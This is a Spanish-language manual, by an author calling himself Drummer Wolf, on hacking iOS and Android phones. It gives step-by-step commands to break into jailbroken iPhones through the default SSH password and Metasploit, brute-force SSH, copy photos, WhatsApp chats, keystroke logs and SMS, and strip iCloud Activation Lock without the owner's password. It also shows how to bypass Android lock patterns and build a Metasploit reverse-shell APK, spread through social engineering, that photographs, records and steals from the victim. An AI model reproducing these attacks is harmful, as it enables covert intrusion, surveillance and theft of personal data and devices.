[Título del documento] -Hackeo de dispositivos iOS -Hackeo de dispositivos Android -Recuperación de datos con consola -Análisis forense a dispositivo iOS
Manual elaborado por: Gonzalo Sánchez (Drummer Wolf)
Hackeo de dispositivos iOS y Android
INTRODUCCIÓN: Explotando el sistema iOS Hoy en día los teléfonos móviles almacenan muchísima información nuestra, cuentas de correo, redes sociales, historial de internet... Ha habido casos muy sonados de famosos a los que les han robado fotos íntimas de sus smartphones y las han subido a Internet sin que las víctimas se dieran cuenta de nada. Hay más métodos, pero lo que vas a encontrar aquí podría ser perfectamente una técnica válida para llevar a cabo eso. En este paper simplemente quiero demostrar lo peligroso que es estar conectado a una red Wifi con un dispositivo iOS con OpenSSH activado. Para llevar a cabo este ataque necesitamos dos cosas en el dispositivo víctima:
.
1- Que tenga jailbreak
.
2- Que tenga instalado OpenSSH, la mayoría de la gente que ha realizado jailbreak lo tiene instalado por comodidad.
El gran problema: OpenSSH sin configurar. Mucha gente, sobre todo gente no muy familiarizada con el mundo de la seguridad informática, se olvida de algo muy, muy importante que es cambiar la contraseña por defecto (es lo más básico, aunque hacer sólo eso no te garantiza ser inmune a un ataque. Datos por defecto del OpenSSH: Usuario: root Password: alpine A esto hay que sumarle que por defecto OpenSSH se queda activado cuando se activa el Wifi. Mucha gente lo instala y se le olvida que lo tiene ahí. Eso es muy peligroso y va a ser la base de nuestro ataque. Ya se podrán imaginar todo lo que podemos hacer entrando a un dispositivo iOS con privilegios de super-usuario ;)
Gonzalo Sánchez Suárez - Drummer Wolf
2
Hackeo de dispositivos iOS y Android
TEMA 1. Explotando vulnerabilidad al SSH de un iDevice con Jailbreak Herramientas a utilizar: -Consola -Metasploit -SQLiteManager -Nmap o Zenmap -Fing app (iOS o Android) -SSH Dispositivo con el que se realizará la prueba: -iPhone 5s (iOS 7.0.4)
Gonzalo Sánchez Suárez - Drummer Wolf
3
Hackeo de dispositivos iOS y Android
1.Escaneando la red. Para poder identificar si dentro de nuestra red se encuentra conectado un dispositivo iOS al que podamos intentar vulnerar necesitaremos hacer un escaneo de la misma, para lo cual podemos usar aplicaciones conocidas como escáneres de red. Haremos un escaneo con 2 herramientas muy útiles para nuestro propósito. Empezaremos con un programa llamado Zenmap, que es la GUI del conocido Nmap. (disponible para Windows, mac y Linux)
Gonzalo Sánchez Suárez - Drummer Wolf
4
Hackeo de dispositivos iOS y Android
Haremos un escaneo con detección de sistema operativo, para lo cual seleccionaremos la opción de “Quick scan plus”, en el campo target colocaremos los 2 primeros octetos de nuestra dirección IP, y reemplazaremos los 2 octetos que seguirían por asteriscos (esto para poder tener un escaneo exitoso de la red local y asignarle el rango que va a tener que escanear el programa).
Por lo general este tipo de escaneos tiende a ser un poco tardado, sólo es cuestión de ser paciente y dejar que el programa haga lo suyo. Una vez terminado el escaneo, encontramos que hay un dispositivo con iOS dentro de nuestra red y que aparte está con el puerto 22 abierto corriendo el servicio de Open SSH. ¡QUE SUERTE! :D
Gonzalo Sánchez Suárez - Drummer Wolf
5
Hackeo de dispositivos iOS y Android
Como alternativa a Zenmap (Nmap) podríamos usar una app llamada “Fing” la cual está disponible tanto en la App Store como en la Google Play Store, la cual con solo un toque empezará a escanear nuestra red local en busca de todos los dispositivos conectados a la misma. De igual forma podremos encontrar los dispositivos iOS que estén conectados.
ANDROID
Gonzalo Sánchez Suárez - Drummer Wolf
iOS
6
Hackeo de dispositivos iOS y Android
Una vez que tenemos nuestro target que encontramos gracias a los escaneos procederemos a utilizar el framework metasploit para intentar vulnerar el Open SSH del dispositivo. 2. Vulnerando con metasploit Iniciamos el framework metasploit:
Gonzalo Sánchez Suárez - Drummer Wolf
7
Hackeo de dispositivos iOS y Android
Utilizaremos el siguiente exploit: msf > use exploit/apple_ios/ssh/cydia_default_ssh Lo configuraremos mediante los siguientes comandos: msf exploit(cydia_default_ssh) > show payloads msf exploit(cydia_default_ssh) > set PAYLOAD generic/shell_reverse_tcp msf exploit(cydia_default_ssh) > set LHOST [MI DIRECCIÓN IP] msf exploit(cydia_default_ssh) > set RHOST [DIRECCIÓN IP DE LA VÍCTIMA] msf exploit(cydia_default_ssh) > show options (revisamos los ajustes del comando antes de lanzarlo
Gonzalo Sánchez Suárez - Drummer Wolf
8
Hackeo de dispositivos iOS y Android
Una vez que todo está listo lanzamos el exploit: msf exploit(cydia_default_ssh) > exploit
Podemos observar que tuvimos un login exitoso con la contraseña ‘alpine’ Lo siguiente será acceder al ssh del dispositivo mediante la terminal con el siguiente comando:
ssh
[email protected] Nos pedirá la contraseña para el usuario root, la cual sabemos que es ‘alpine’ y una vez dentro pondremos en la consola ‘pwd’ para saber donde estamos situados:
CRACKEANDO PASSWORD OPENSSH Seguro que muchos se preguntarán, ¿y si la víctima ha cambiado la contraseña por defecto? Si la contraseña ha sido cambiada aún no está todo perdido, podemos intentar sacarla mediante un ataque por fuerza bruta. Si no se ha configurado correctamente OpenSSH (cosa que sólo hacen una minoría muy reducida de usuarios, seguramente por desconocimiento o simplemente por no complicarse la vida), es posible sacar las contraseñas por fuerza bruta ya que por defecto OpenSSH tiene comentada la directiva “#MaxAuthTries 6” (/etc/ssh/sshd_config) lo que nos viene a decir que un ataque por fuerza bruta es viable porque el número de intentos de login no está limitado.
Gonzalo Sánchez Suárez - Drummer Wolf
9
Hackeo de dispositivos iOS y Android
Para ello podemos usar aplicaciones como Hydra aunque si la contraseña es robusta será muy difícil de sacar. A continuación se hará un ataque de fuerza bruta al ssh del dispositivo iOS Para el ataque usaremos una herramienta llamada hydra en un versión GUI llamada xhydra, en este caso usaremos la distribución Kali Linux. 1. Abrimos el programa teclando “xhydra” en la consola
2. Procedemos a configurar la primer ventana del programa introduciendo la ip víctima, el puerto, el protocolo y que muestre los intentos (opcional).
Gonzalo Sánchez Suárez - Drummer Wolf
10
Hackeo de dispositivos iOS y Android
3. En la pestaña PASSWORDS configuraremos el nombre de usuario que en este caso es root y la ruta del archivo de diccionario que usaremos para el ataque.
4. Las siguientes pestañas las dejaremos tal y como están y enseguida nos dirigiremos a la pestaña de START y lanzaremos el ataque, si este llega a ser exitoso con algún password de la lista que utilizamos el programa nos lo indicará de inmediato.
Gonzalo Sánchez Suárez - Drummer Wolf
11
Hackeo de dispositivos iOS y Android
3. Postexplotación Una vez estando dentro del dispositivo víctima podremos hacer muchas cosas. Dentro de este curso daremos un recorrido rápido por las acciones más comunes que se podrían realizar desde un punto de vista de un hacker malicioso. Tecleando “help” dentro de la consola nos aparecerán una serie de comandos que podremos usar dentro de nuestro dispositivo, sin embargo, no vamos a profundizar en cada uno de ellos ya que es una lista larga.
Gonzalo Sánchez Suárez - Drummer Wolf
12
Hackeo de dispositivos iOS y Android
-Reiniciar el springboard (explorador de archivos por defecto) -Reiniciar el dispositivo Mediante estos comandos se reiniciará el explorador de archivos por defecto de iOS o el dispositivo mismo, según sea el caso. Lo cual después de realizar provocará que el dispositivo se vea algo mas o menos así.
Configurando el SSH: Para hacer esta documentación mas completa incluiré a continuación una forma rápida de activar ese servidor en la distribución “Kali Linux” y “Mac OS X” ya que esta herramienta nos servirá para extraer los archivos del dispositivo vulnerado. OK, empecemos con la configuración del servidor SSH. En mi caso estaré usando una máquina virtual de Kali Linux.
Gonzalo Sánchez Suárez - Drummer Wolf
13
Hackeo de dispositivos iOS y Android
Primero necesitarás verificar si tu máquina tiene activo algún servicio de SSH activo, para lo cual pondremos el siguiente comando en la consola:
root@Kali:~# service --status-all Si SSH muestra un signo negativo “-“ significa que no está activo o no está instalado
Ahora escribimos root@kali~:# apt-get install openssh-server desde la terminal para instalar el servidor y openssh-client para instalar el cliente
En este caso ya estaba instalado previamente el servidor y el cliente. Para iniciar los servicios SSH pondremos en la consola root@kali~# service ssh start y para checar que el servicio esté activo pondremos root@kali~# service ssh status
Gonzalo Sánchez Suárez - Drummer Wolf
14
Hackeo de dispositivos iOS y Android
Listo, con eso tenemos el servidor SSH funcionando en Kali Linux
-Iniciar el servidor SSH en Mac OS X: Abriremos “Preferencias del sistema”, enseguida daremos click en el panel de “Compartir” y habilitaremos la pestaña de “Sesión remota” y listo!, el servidor SSH ya está funcionando en tu Mac.
Gonzalo Sánchez Suárez - Drummer Wolf
15
Hackeo de dispositivos iOS y Android
Ahora empezaremos por visitar los directorios interesantes dentro del dispositivo: 1. Fotos y videos Desde la siguiente ruta podemos ver todas las fotos y vídeos almacenados en el dispositivo. /private/var/mobile/Media/DCIM/100APPLE ¿Te gustaría robar alguna foto del dispositivo? VAMOS A ELLO! Una vez dentro de la ruta de fotos y videos podremos obtener todos los que queramos simplemente usando el comando para transferencia de archivos mediante SSH como mencionamos anteriormente. Accediendo a la ruta que mencionamos anteriormente, mediante un ls nos mostrará los nombres de los archivos contenidos en la carpeta, en este caso robaremos la última foto tomada por el usuario.
Por comodidad abriremos otra ventana de consola y enseguida pondremos el siguiente comando: scp -r [[usuario root del iOS]] @[[dirección ip del ssh de la víctima]]:/ruta/del/archivo/que/queremos/extraer.JPG /ruta/donde/lo/pegaremos Quedando en este ejemplo algo así: scp -r
[email protected]:/private/var/mobile/Media/DCIM/101APPLE/IMG_1959.JPG /Users/drummerwolf/desktop/hack
Una vez terminada la transferencia revisamos nuestra carpeta de destino donde elegimos guardar la foto y listo, de la misma forma pueden seguir robando mas fotos o videos:
Gonzalo Sánchez Suárez - Drummer Wolf
16
Hackeo de dispositivos iOS y Android
2. Keylogger Algo muy interesante, iOS almacena en texto plano una especie de registro con las palabras usadas, algo sin duda muy útil si estamos en busca de contraseñas ;) La ruta donde se encuentra estos archivos es: /private/var/mobile/Library/Keyboard/es_ES-dynamic-text.dat y dentro de ella podremos encontrar los archivos es_ES-dynamic-text.dat y dynamic-text.dat Usaremos el mismo comando del ejemplo pasado para extraer los archivos y veamos que contienen.
Gonzalo Sánchez Suárez - Drummer Wolf
17
Hackeo de dispositivos iOS y Android
Abriendo el archivo con un editor de texto nos muestra en texto plano las palabras que se han escrito desde el teclado del dispositivo (por privacidad esta imagen la puse borrosa)
3. Navegador Web (Safari) En la siguiente ruta podremos encontrar el historial de navegación de safari y con ello muchos datos que pueden resultar interesantes: /private/var/mobile/Library/Safari/History.plist En versiones recientes de iOS ese archivo ya no se encuentra en esa ruta, sin embargo, aún podemos encontrar la base de datos de los marcadores con el nombre de Bookmarks.db
Gonzalo Sánchez Suárez - Drummer Wolf
18
Hackeo de dispositivos iOS y Android
Una vez extraido el archivo según sea el caso, lo abriremos con un gestos de bases SQLite y observaremos algo así:
4. Base de datos Whats App Mucho ha dado que hablar últimamente WhatsApp sobre el tema de seguridad y es que WhatsApp almacena la información en iOS en una base de datos SQLite que se encuentra en la siguiente ruta con lo que cualquiera podría ver con quién hemos chateado, lo que hemos escrito etc. Para abrir la base de datos he utilizado SQLite Manager.
/private/var/mobile/Applications/(cadena que varía)/Documents/ChatStorage.sqlite *Lo que se refiere a la “cadena que varía” es un valor alfanumérico que el sistema le asigna a las carpetas que contienen a las aplicaciones, guardándolas de esta forma dentro del sistema y no con sus nombres originales* En este caso la cadena que corresponde a la carpeta donde está la app de whats app (en el caso de mi dispositivo) es la siguiente: C09C0065-B57C-4DF7-BB4A-6A397EA72474
Gonzalo Sánchez Suárez - Drummer Wolf
19
Hackeo de dispositivos iOS y Android
Y aquí un ejemplo de cómo se ve la base de datos de las conversaciones:
Si seguimos mirando más tablas podemos ver todo: contactos, números de teléfono, mensajes enviados y recibidos, las fechas.... Tambien encontramos que hay otra base sqlite con todos los contactos en la misma ruta pero con el nombre de Contacts.sqlite
Gonzalo Sánchez Suárez - Drummer Wolf
20
Hackeo de dispositivos iOS y Android
También podremos usar una herramienta web para interpretar la base de datos sqlite sin necesidad de tener un programa. En la página de http://www.recovermessages.com podremos subir nuestra bd y se generarán las tablas con la información correspondiente y lo mejor es que no solo nos sirve para interpretar la base de datos del whatsapp sino también las bases de: WhatsApp Android, WhatsApp IPhone, Tuenti IPhone, SpotBros IPhone, Line IPhone, SMS Android, SMS IPhone, EMails Android, EMails IPhone.
Gonzalo Sánchez Suárez - Drummer Wolf
21
Hackeo de dispositivos iOS y Android
5. Twitter En el siguiente archivo podemos obtener datos datos como nombre de usuario en twitter, últimas búsquedas y tweets... /private/var/mobile/Applications/(ruta que varía)/Library/Preferences\com.atebits.Tweetie2.plist
6. SMS (iPhone) /private/var/mobile/Library/SMS sms.db 7. Localizaciones /private/var/root/Library/Caches/locationd/consolidate.db 8. Mails /private/var/mobile/Library/Mail 9. Preferencias de aplicaciones /private/var/mobile/Library/Preferences 10. Lista de contactos /private/var/mobile/Library/AddressBook
Y muchas más rutas!!! Esto es solo un pequeño ejemplo de algunas cosas que podemos ver. Por supuesto hay muchas más rutas y si las mirásemos todas estaríamos aquí un buen rato así que aquí sólo les dejé algunas de las más interesantes, si quieren obtener mas, sería cuestión de que ustedes mismos investiguen.
Gonzalo Sánchez Suárez - Drummer Wolf
22
Hackeo de dispositivos iOS y Android
TEMA 2. Borrado de la cuenta iCloud
Mucho se ha hablado sobre la posibilidad de quitar el famoso sistema de seguridad dentro de iOS 7 que consiste en el bloqueo del equipo que corra dicho sistema mediante la cuenta iCloud del usuario dueño. En muchos sitios en internet se especula sobre diversos métodos y herramientas para lograr burlar o desactivar este bloqueo. En las siguientes páginas se mostrarán algunos de ellos, así como, los bugs dentro de iOS 7 que te permitirán borrar las cuentas de iCloud sin necesidad de usar ningún tipo de tolos. 2.1 Método “hacktivate” (compatible únicamente con iPhone 4) Este método se basa en la utilización de una herramienta que mediante el uso del modo DFU del iPhone 4 se explota una vulnerabilidad en el procesador del dispositivo teniendo la posibilidad de instalarle el servidor ssh y de esa forma borrar los archivos de configuración donde se encuentra almacenada la cuenta iCloud. Cabe aclarar que este método se realizará dentro del sistema operativo Windows. EMPECEMOS!
1. Deberás desactivar tu antivirus & firewall o de lo contrario tu computadora borrará los archivos necesarios para continuar con el proceso. Una vez terminado el desbloqueo si tu gustas puedes desisnstalar la herramienta utilizada sin ningún contratiempo (si no, tu antivirus lo hará).
Gonzalo Sánchez Suárez - Drummer Wolf
23
Hackeo de dispositivos iOS y Android
2. Descarga e instala la tool “iOS Soft Dev Pack + JB iOS 7.1 V2” y ejecútala. (para realizar la instalación de la tool es necesario contar con .net framework 3.5 o superior instalado) Seleccionamos
y enseguida seleccionaremos la primera opción. 3. Conecta tu iPhone en modo DFU (apretando los botones de encendido y home al mismo tiempo durante 10 segundos, soltamos el botón de encendido después de 2 segundos y seguimos apretando el botón de home durante otros 30 segundos), después de esto el programa detectará tu dispositivo e iniciará con la explotación.
Gonzalo Sánchez Suárez - Drummer Wolf
24
Hackeo de dispositivos iOS y Android
4. Una vez terminada la explotación, aparecerán unas letras verdes de que fue exitoso, posteriormente sleccionaremos la segunda opción que se encargará de hacer la conección al ssh. (Si por alguna razón al realizar este paso les llega a marcar un error que diga algo como “could not moun system …” simplemente vuélvan a dar click a la opción 2.)
5. Procedemos a dar click en la opción 3 para ejecutar la hacktivate tool
Gonzalo Sánchez Suárez - Drummer Wolf
25
Hackeo de dispositivos iOS y Android
6. Una vez terminado el proceso anterior el iPhone se pondrá en modo de recuperación y solo tendrán que pulsar la opción 4 para salir del mismo.
Como una recomendación les aconsejo desinstalar la herramienta utilizada para todo el proceso. Si realizaron todos los pasos correctamente ahora podrán configurar su iPhone como si fuera un dispositivo nuevo, Felicidades!!!
Gonzalo Sánchez Suárez - Drummer Wolf
26
Hackeo de dispositivos iOS y Android
Uno de las consecuencias conocidas por la realización del método “hacktivate” es que el iPhone se quedará sin la posibilidad de conectarse a las redes celulares. Algún precio se tenía que pagar por semejante activación, no todo es miel sobre hojuelas.
2.2 Borrado de cuenta iCloud mediante bug en iOS versiones 7.0.4 – 7.0.6 y 7.1 (compatible con iPhone 4,4s,5 y 5s) Muchas veces me han preguntado si es posible borrar la cuenta iCloud de un iPhone sin necesidad de la contraseña y si este no tiene algún patrón de bloqueo o no se ha intentado restaurar anteriormente. La respuesta es SI, si por azares del destino te llegaron a vender un iPhone y el dueño anterior no le borró su cuenta de iCloud pero te lo dejó sin patrón de desbloqueo será posible para ti explotar esta vulnerabilidad dentro de iOS 7.0.4 , 7.0.6 y 7.1 -Borrando cuenta iCloud en iOS 7.1 en iphone 4 y 4s Nos dirigiremos a configuración y posteriormente a la pestaña de iCloud No es un método fácil de reproducir, ya que hay que sincronizar la petición de "borrar cuenta" junto con el botón de Deshabilitar Find My iPhone al mismo tiempo. Una vez que se pida la contraseña, es necesario apagar y volver a encender el dispositivo. Una vez hecho esto, se podrá borra la cuenta de Apple iCloud sin contraseña. Se detalla un poco en las capturas a continuación.
Gonzalo Sánchez Suárez - Drummer Wolf
27
Hackeo de dispositivos iOS y Android
Como se menciona en el texto anterior, se tiene que seleccionar al mismo tiempo las opciones de desactivar “Find my iPhone” y “Delete Account”
Posteriormente aparecerá una pantalla como esta donde parecieran estar amontonadas las opciones de desactivar Find my iPhone con la de borrar la cuenta iCloud, felicidades, si te apareció algo como esto lo único que tienes que hacer es reiniciar el dispositivo, (en este punto podremos notar que la opción de Find my iPhone ya se encuentra desactivada) nos dirigiremos de nuevo a la configuración de iCloud y ahora seleccionaremos “Eliminar cuenta” si lo notas ahora no nos pedirá la contraseña de la cuenta iCloud para eliminarla e incluso la medida de seguridad conocida como “Activation Lock” también desaparecerá.
Gonzalo Sánchez Suárez - Drummer Wolf
28
Hackeo de dispositivos iOS y Android
-Borrando cuenta iCloud en iOS 7.0.6 en iphone 5, 5c y 5s Accedemos a la configuración del dispositivo y en la pestaña de iCloud, este glitch es algo complicado de reproducir, se requiere que primero deslices con el dedo la opción de desactivar “Find my iPhone” y sin soltarlo aprietes el botón de “borrar cuenta”, algo así.
El botón del switch se quedará “a medias”
Posteriormente presionaremos Delete Account, enseguida Delete otra vez, muy importante, durante la animación en la que aparece la segunda opción para confirmar el borrado de la cuenta es necesario mover el switch de “find my iPhone” como si lo fueramos a DESACTIVAR, y una vez presionado “Delete from My iPhone” hacer lo mismo. Cuando el sistema te pida la contraseña daremos en cancel y si hiciste bien el procedimiento ahora el switch de Find my iPhone quedará parcialmente desactivado
Gonzalo Sánchez Suárez - Drummer Wolf
29
Hackeo de dispositivos iOS y Android
Lo siguiente que tendremos que hacer será entrar a la pestaña de la cuenta iCloud donde se encuentra el correo y la contraseña. Borraremos el password y la palabra iCloud y apretaremos en “done”, nos mandará un mensaje de error y repetiremos este procedimiento 2 veces en total. Una vez terminado daremos en “cancel”
Enseguida volveremos a entrar a esa pestaña y escribiremos en el espacio que quedó en blanco la palabra iCloud y listo, cuando quieran borrar la cuenta iCloud del dispositivo no deberá ser necesario introducir la contraseña.
Gonzalo Sánchez Suárez - Drummer Wolf
30
Hackeo de dispositivos iOS y Android
-Borrando cuenta iCloud en iOS 7.0.4 en iphone 4, 4s, 5, 5c y 5s Accedemos a la configuración del dispositivo y en la pestaña de iCloud accedemos a los datos de la cuenta, borramos el password y tecleamos cualquier palabra, apretamos “done”, cuando nos aparezca el mensaje de contraseña incorrecta daremos en OK y enseguida en “Cancel”
Volvemos a entrar a la pestaña per ahora borraremos la palabra iCloud y dejaremos el espacio en blanco, una vez que apretemos “done” podremos observar que el switch de “Find my iPhone” estará desactivado y que incluso podremos borrar la cuenta iCloud sin necesidad de la contraseña
Gonzalo Sánchez Suárez - Drummer Wolf
31
Hackeo de dispositivos iOS y Android
MODULO 2: Hackeo de dispositivos Android Tema 1: Bypass al patrón de desbloqueo Herramientas a utilizar: -adb bundle -consola Dispositivo en el que se realizará la prueba: -Xperia Pro mk16a (android 4.0.4 con root)
Gonzalo Sánchez Suárez - Drummer Wolf
32
Hackeo de dispositivos iOS y Android
En este módulo se detallará como lograr un bypass al patrón de desbloqueo de un mobil con android. Un requisito para que este método sea exitoso es que el mobil esté rooteado y tenga el debbuging mode encendido. Por lo general hay un gran porcentaje de personas que al hacerle root a sus dispositivos dejan el modo debugging encendido y lo olvidan por completo, esto puede representar una amenaza (o una ventaja) dependiendo del uso que le quieran dar a este método, ya sea para saltarse el patrón de desbloqueo en caso de que lo hayan olvidado o para saltárselo en caso de ser una persona con malas intenciones hacia el dispositivo. Primero instalaremos el adb de android que es la herramienta utilizada por los desarrolladores de la plataforma para diferentes propósitos, en este caso, nos enfocaremos en borrar los archivos que contienen la información correspondiente al patrón de bloqueo.
1.1 Instalación de adb bundle Kali Linux: Para instalar adb bundle dentro de kali Linux tendremos que descargar el paquete desde la web oficial http://dl.google.com/android/adt/22.6.2/adt-bundle-linux-x86_64-20140321.zip y descomprimirlo, de preferencia lo dejaremos en la carpeta inicial del sistema, en mi caso lo puse en /root Posteriormente tendremos que instalar unos paquetes necesarios para que lo podamos ejecutar sin problemas, abrimos terminal y teclearemos lo siguiente: dpkg --add-architecture i386 apt-get update apt-get install ia32-libs apt-get install lib32ncurses5 A estas alturas ya debes poder ejecutar el software sin problemas, sin embargo, para facilitarnos la vida crearemos las variables de entorno para ejecutar el software sin importar la ruta en la que estemos situados, para lo cual teclearemos el siguiente comando en la consola: export PATH=${PATH}:/usuario/ruta/androidsdk/tools:/usuario/ruta/android-sdk/platform-tools Gonzalo Sánchez Suárez - Drummer Wolf
33
Hackeo de dispositivos iOS y Android
IMPORTANTE: La ruta puede variar dependiendo en donde hayan descomprimido el archivo, revisen muy bien la ruta de su carpeta de platform-tools para que las variables de entorno sean creadas correctamente.
Mac osx: Descargaremos el paquete oficial desde la web de android http://dl.google.com/android/adt/22.6.2/adt-bundle-mac-x86_64-20140321.zip , de igual forma lo descomprimiremos dentro de nuestra carpeta de usuario, en este caso la mía es /Users/drummerwolf/android Crearemos nuestra variables de entorno: 1. Primero debemos crear un fichero para el usuario actual. Para ello abrimos el terminal y nos posicionamos en la carpeta Home. (/Users/XXX/) Una vez dentro ejecutamos el siguiente comando: touch .bash_profile Esto nos generará un fichero con el mismo nombre. Ahora abrimos el fichero con el editor de texto, para ello ejecutamos el siguiente comando: open -e .bash_profile Aquí agregamos la ruta a nuestro adb dentro del directorio de nuestro paquete de android descargado anteriormente: export PATH=${PATH}:/Android/adt-bundle-mac/sdk/platform-tools Esto nos permitirá utilizar el comando adb, desde cualquier sitio en Terminal. Ahora reiniciamos las variables de entorno con: source .bash_profile
Gonzalo Sánchez Suárez - Drummer Wolf
34
Hackeo de dispositivos iOS y Android
Hecho!, ya tenemos nuestra variable de entorno agregada. Para comprobarlo ejecuta: echo $PATH Ahí estarán.
Windows: Descargamos el paquete oficial en el link http://developer.android.com/sdk/index.html?hl=sk#win-bundle seleccionamos nuestro paquete correspondiente a la arquitectura de nuestro procesador si este es de 32 o 64 bits. Lo descomprimimos y renombramos la carpeta a algo mas simple como android esto nos facilitará más el crear nuestras variables de entorno. Una vez teniendo la carpeta la moveremos al directorio raíz de nuestra unidad de disco duro, en este caso mi ruta sería C: Nos dirigiremos a menú de inicio: click derecho en equipo>propiedades configuración avanzada del sistema
click en variables de entorno
Gonzalo Sánchez Suárez - Drummer Wolf
35
Hackeo de dispositivos iOS y Android
En la caja inferior buscaremos la variable Path y editar
En el cuadro en la opción de Valor de la variable nos posicionaremos al final de la línea y añadiremos el siguiente texto: ;C:\android\sdk\platform-tools
Damos click en aceptar y LISTO, ahora puedes teclear los comandos de adb dentro de símbolo del sistema sin ningún problema.
Gonzalo Sánchez Suárez - Drummer Wolf
36
Hackeo de dispositivos iOS y Android
1.2 Bypass al patrón de desbloqueo de android usando adb 1. Primero verificaremos que nuestro equipo sea reconocido tecleando adb devices una vez que hayamos conectado nuestro equipo a la computadora mediante el cable usb.
2. Iniciaremos una Shell en el dispositivo tecleando adb Shell y enseguida tecleamos su para tener permisos de superusuario.
3. Nos dirigiremos a la ruta /data/system/ y una vez ahí dentro podremos observar que existen varios archivos, entre ellos se encuentra el que contiene la configuración del patrón de desbloqueo, este archivo puede llamarse gesture.key o (locksettings.db, locksettings.db-wal y locksettings.db-shm) lo que haremos será borrarlo con el comando rm y enseguida el nombre y extensión del archivo.
Gonzalo Sánchez Suárez - Drummer Wolf
37
Hackeo de dispositivos iOS y Android
4. Reiniciamos el dispositivo tecleando reboot
5. Listo, el patrón de desbloqueo ha sido borrado y una vez reiniciado el dispositivo basta con que hagas un toque en la pantalla de desbloqueo o simplemente deslices tu dedo y tendrás acceso al dispositivo.
Gonzalo Sánchez Suárez - Drummer Wolf
38
Hackeo de dispositivos iOS y Android
Tema 2: Ataque a dispositivos Android con metasploit En este tema haremos una explotación a un dispositivo Android por medio de una aplicación (.apk) creada mediante el framework de metasploit. 1. Iniciamos abriendo nuestra consola de Metasploit
2. Verificamos los exploits y módulos disponibles teclando search android :
Si contamos con los payloads correspondientes a android podremos continuar, de lo contrario necesitaremos actualizar metasploit. Enseguida empezaremos el procedimiento para crear un .apk con infección para obtener una Shell meterpreter de manera local y remota.
Gonzalo Sánchez Suárez - Drummer Wolf
39
Hackeo de dispositivos iOS y Android
1.-Entramos en la carpeta de instalación de metasploit , en este caso la ruta de instalación en mi computadora es la siguiente “/opt/msf”.
2. Tengamos en cuenta los datos de conexión que usaremos para la creación de nuestra .apk.
IP DEL ATACANTE : 10.210.45.38 (mi ip) PUERTO ATACANTE : 6789 3. Una vez en la carpeta de instalación de Metasploit usaremos el siguiente comando
“./msfpayload android/meterpreter/reverse_tcp LHOST=IP_LOCAL/NO-‐IP LPORT=PUERTO R > /RUTA/nombre_de_la_app.apk” “./msfpayload android/meterpreter/reverse_tcp LHOST=10.210.45.38 LPORT=6789 R > /Users/Drummerwolf/Desktop/hack/ hacking_mexico.apk” 4. La .apk ha sido creada
Gonzalo Sánchez Suárez - Drummer Wolf
40
Hackeo de dispositivos iOS y Android
5. En este caso para la explotación usaremos un dispositivo Android xperia pro modelo mk16a.
6. Instalación del .apk infectado Esta es la parte mas esencial para la explotación, será necesario que el atacante tenga la suficiente creatividad y sea muy bueno aplicando la ingeniería social. Una de las formas puede ser mandar por correo la aplicación, convencer a la víctima que con esta aplicación tendrá internet 3g gratis, que esta aplicación hace mas rápido su dispositivo, etc etc. Incluso si nos fuéramos mas a fondo podríamos hacer la decompilación de la .apk e introducir su código dentro de alguna otra aplicación cualquiera, por ejemplo, introducir el código de la .apk infecciosa dentro del código de wifi test auditor (app para sacar claves wifi) subirla a play store o subirla a algún servicio como mega, dropbox etc y difundirla para que esta sea instalada pensando que es como cualquier otra app inofensiva. Este paso lo dejaré a la creatividad y habilidad del lector.
Gonzalo Sánchez Suárez - Drummer Wolf
41
Hackeo de dispositivos iOS y Android
7. El proceso de instalación de la .apk infectada será como el de cualquier otra aplicación.
8. Continuamos Posicionados en la carpeta de instalación y procedemos a ejecutar el siguiente comando.
“./msfcli exploit/multi/handler PAYLOAD=android/meterpreter/reverse_tcp LHOST=IP_LOCAL/NO-‐IP LPORT=PUERTO E “ “./msfcli exploit/multi/handler PAYLOAD=android/meterpreter/reverse_tcp LHOST=10.210.45.38 LPORT=6789 E “ (Si la app fue ejecutada dentro del dispositivo infectado debemos tener éxito al ejecutar el comando)
Para darnos una idea de lo que podemos ejecutar dentro de la Shell meterpreter teclearemos el comando help
Gonzalo Sánchez Suárez - Drummer Wolf
42
Hackeo de dispositivos iOS y Android
meterpreter > help Core Commands ============= Command ------? background
Description ----------Help menu Backgrounds the current session
bgkill
Kills a background meterpreter script
bglist
Lists running background scripts
bgrun
Executes a meterpreter script as a background thread
channel
Displays information about active channels
close
Closes a channel
disable_unicode_encoding Disables encoding of unicode strings enable_unicode_encoding Enables encoding of unicode strings exit
Terminate the meterpreter session
help
Help menu
info
Displays information about a Post module
interact irb
Interacts with a channel Drop into irb scripting mode
load
Load one or more meterpreter extensions
quit
Terminate the meterpreter session
read resource
Reads data from a channel Run the commands stored in a file
run
Executes a meterpreter script or Post module
use
Deprecated alias for 'load'
write
Writes data to a channel
Stdapi: File system Commands ============================ Command
Description
Gonzalo Sánchez Suárez - Drummer Wolf
43
Hackeo de dispositivos iOS y Android
-------
-----------
cat
Read the contents of a file to the screen
cd
Change directory
download edit
Download a file or directory Edit a file
getlwd
Print local working directory
getwd
Print working directory
lcd
Change local working directory
lpwd ls
Print local working directory List files
mkdir
Make directory
pwd
Print working directory
rm
Delete the specified file
rmdir
Remove directory
search
Search for files
upload
Upload a file or directory
Stdapi: Networking Commands =========================== Command
Description
-------
-----------
ifconfig
Display interfaces
ipconfig
Display interfaces
portfwd
Forward a local port to a remote service
route
View and modify the routing table
Stdapi: System Commands ======================= Command
Description
Gonzalo Sánchez Suárez - Drummer Wolf
44
Hackeo de dispositivos iOS y Android
-------
-----------
execute
Execute a command
getuid
Get the user that the server is running as
ps
List running processes
shell
Drop into a system command shell
sysinfo
Gets information about the remote system, such as OS
Stdapi: Webcam Commands ======================= Command -------
Description
-----------
record_mic
Record audio from the default microphone for X seconds
webcam_list List webcams webcam_snap Take a snapshot from the specified webcam
Comando “webcam_list” , para listar las cámaras web en el dispositivo.
Comando “webcam_snap” , para tomar una foto en tiempo real con el dispositivo.
Gonzalo Sánchez Suárez - Drummer Wolf
45
Hackeo de dispositivos iOS y Android
Comando “ifconfig” , para revisar las interfaces de red y la mac address del equipo.
Comando “record_mic” , para grabar audio con el dispositivo :
Comando “ps” , para listar los procesos que están corriendo en el dispositivo.
Gonzalo Sánchez Suárez - Drummer Wolf
46
Hackeo de dispositivos iOS y Android
Comando “ls” , para listar los archivos. Comando “pwd” , para ver en que carpeta o phat estamos posicionados. Ahora robaremos algunas fotos:
Nos posicionamos en la ruta “/mnt/sdcard/DCIM/100ANDRO” que es donde en este caso mi dispositivo almacena las fotos
Gonzalo Sánchez Suárez - Drummer Wolf
47
Hackeo de dispositivos iOS y Android
